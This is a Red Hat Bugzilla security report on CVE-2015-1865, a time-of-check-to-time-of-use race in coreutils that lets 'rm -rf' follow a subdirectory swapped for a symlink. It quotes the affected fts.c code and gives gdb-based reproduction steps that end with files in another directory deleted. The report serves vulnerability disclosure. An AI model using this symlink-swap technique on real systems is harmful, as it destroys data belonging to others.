Bug 1211300 (CVE-2015-1865)

Summary: CVE-2015-1865 coreutils: "time of check to time of use" race condition fts.c
Product: [Other] Security Response Reporter: Vasyl Kaigorodov <vkaigoro>
Component: vulnerabilityAssignee: Red Hat Product Security <security-response-team>
Status: CLOSED WONTFIX QA Contact:
Severity: low Docs Contact:
Priority: low    
Version: unspecifiedCC: carnil, ovasik, pbrady, security-response-team, sisharma
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2015-06-17 04:38:19 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:
Bug Depends On:    
Bug Blocks: 1211302    

Description Vasyl Kaigorodov 2015-04-13 14:24:10 UTC
Rikus Goodell of CPanel found a race condition in coreutils (rm command).
Recursive directory removal with "rm -rf" has a TOCTOU race condition when descending into subdirectories.

It uses these syscalls to traverse into subdirectories:

19935 fstatat64(4, "x", {st_mode=S_IFDIR|0755, st_size=4096, ...}, AT_SYMLINK_NOFOLLOW) = 0
19935 openat(4, "x", O_RDONLY|O_NOCTTY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3

Note that the stat has NOFOLLOW, but the open does not, so if the directory "x" changes to a symlink between these two syscalls, rm will traverse across the symlink. This makes the type of attack described here possible:

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=286922

The relevant code that opens a dir in coreutils-8.4:

coreutils-8.4/lib/fts.c:
1243 #if defined FTS_WHITEOUT && 0
1244         if (ISSET(FTS_WHITEOUT))
1245                 oflag = DTF_NODUP|DTF_REWIND;
1246         else
1247                 oflag = DTF_HIDEW|DTF_NODUP|DTF_REWIND;
1248 #else
1249 # define __opendir2(file, flag) \
1250         ( ! ISSET(FTS_NOCHDIR) && ISSET(FTS_CWDFD) \
1251           ? opendirat(sp->fts_cwd_fd, file)        \
1252           : opendir(file))
1253 #endif
1254        if ((dirp = __opendir2(cur->fts_accpath, oflag)) == NULL) {

So, it uses __opendir2 (which is defined right above); this, in turn, calls "opendirat" for a directory, which does this:

coreutils-8.4/lib/fts.c:
 298 static inline DIR *
 299 internal_function
 300 opendirat (int fd, char const *dir)
 301 {
 302   int new_fd = openat (fd, dir,
 303                        O_RDONLY | O_DIRECTORY | O_NOCTTY | O_NONBLOCK);

O_NOFOLLOW is missing.


8.22 does stuff differently:

1316           {
1317             /* Open the directory for reading.  If this fails, we're done.
1318                If being called from fts_read, set the fts_info field. */
1319             if ((cur->fts_dirp = fts_opendir(cur->fts_accpath, &dir_fd)) == NULL)
1320               {

fts_opendir here is:

coreutils-8.22/lib/fts.c:
1252 #define fts_opendir(file, Pdir_fd)                              \
1253         opendirat((! ISSET(FTS_NOCHDIR) && ISSET(FTS_CWDFD)     \
1254                    ? sp->fts_cwd_fd : AT_FDCWD),                \
1255                   file,                                         \
1256                   (((ISSET(FTS_PHYSICAL)                        \
1257                      && ! (ISSET(FTS_COMFOLLOW)                 \
1258                            && cur->fts_level == FTS_ROOTLEVEL)) \
1259                     ? O_NOFOLLOW : 0)                           \
1260                    | (ISSET (FTS_NOATIME) ? O_NOATIME : 0)),    \
1261                   Pdir_fd)

with O_NOFOLLOW defined.

Steps to reproduce using GDB to increase the "window of possibility":

root@jdvm:/home/jd# mkdir -p t/switch_me
root@jdvm:/home/jd# echo "xyzzy" >t/switch_me/xyzzy
root@jdvm:/home/jd# mkdir unlink_stuff
root@jdvm:/home/jd# echo "sensitive stuff" > unlink_stuff/unlink_this
root@jdvm:/home/jd# gdb rm
GNU gdb (GDB) Red Hat Enterprise Linux (7.2-75.el6)
...
(gdb) break openat64
Breakpoint 1 at 0x804910c
(gdb) set args -rf t
(gdb) run
Starting program: /bin/rm -rf t

Breakpoint 1, 0x002035f6 in openat64 () from /lib/libc.so.6
(gdb) c
Continuing.

Breakpoint 1, 0x002035f6 in openat64 () from /lib/libc.so.6
(gdb) ^Z
[1]+ Stopped gdb rm
root@jdvm:/home/jd# cd t
root@jdvm:/home/jd/t# ls
switch_me
root@jdvm:/home/jd/t# mv switch_me/ switch_me.bak
root@jdvm:/home/jd/t# ln -s ../unlink_stuff switch_me
root@jdvm:/home/jd/t# ls -alh
total 12K
drwxr-xr-x. 3 root root 4.0K Mar 25 17:03 .
drwx------. 5 jd jd 4.0K Mar 25 17:01 ..
lrwxrwxrwx. 1 root root 15 Mar 25 17:03 switch_me -> ../unlink_stuff
drwxr-xr-x. 2 root root 4.0K Mar 25 17:01 switch_me.bak
root@jdvm:/home/jd/t# cd ..
root@jdvm:/home/jd# fg
gdb rm
(gdb) c
Continuing.
/bin/rm: cannot remove `t': Directory not empty

Program exited with code 01.
(gdb) q
root@jdvm:/home/jd# ls -alh unlink_stuff/
total 8.0K
drwxr-xr-x. 2 root root 4.0K Mar 25 17:04 .
drwx------. 5 jd jd 4.0K Mar 25 17:01 ..
root@jdvm:/home/jd#